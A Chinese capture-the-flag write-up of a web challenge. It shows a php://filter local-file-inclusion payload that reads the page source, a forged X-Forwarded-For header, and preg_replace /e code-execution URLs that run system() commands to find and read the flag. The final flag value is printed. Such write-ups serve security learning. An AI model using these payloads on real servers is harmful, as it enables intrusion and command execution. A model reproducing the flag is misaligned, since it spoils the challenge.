本文借鉴以下两篇文章的指导
https://www.jianshu.com/p/5a502873635b
https://blog.csdn.net/about23/article/details/95349625
全部点击一遍,只有这个可以有其他界面
题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”
在后面添加login.php 无果,御剑扫描也无结果,源码也找不到其他东西
再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index 存在get传值
page的参数联想到可能存在文件包含漏洞
引用上面的文章内容
LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞
输入数字没啥用,尝试读取index.php的源码,采用php伪协议
?page=php://filter/read=convert.base64-encode/resource=index.php
为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
输入payload得到一段base64
然后解码,分析源码
伪造XFF头来登入系统,同时利用preg_replace函数的漏洞
preg_replace( pattern , replacement , subject ) :
当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload
/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123
”+“号在url中会被解释成空格号,这里用%20也行
用burpsuite来设置XFF头
继续查看 %26被url解释成&号 用来连接命令
&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)
index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123
最后的payload
index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123
得flag
cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}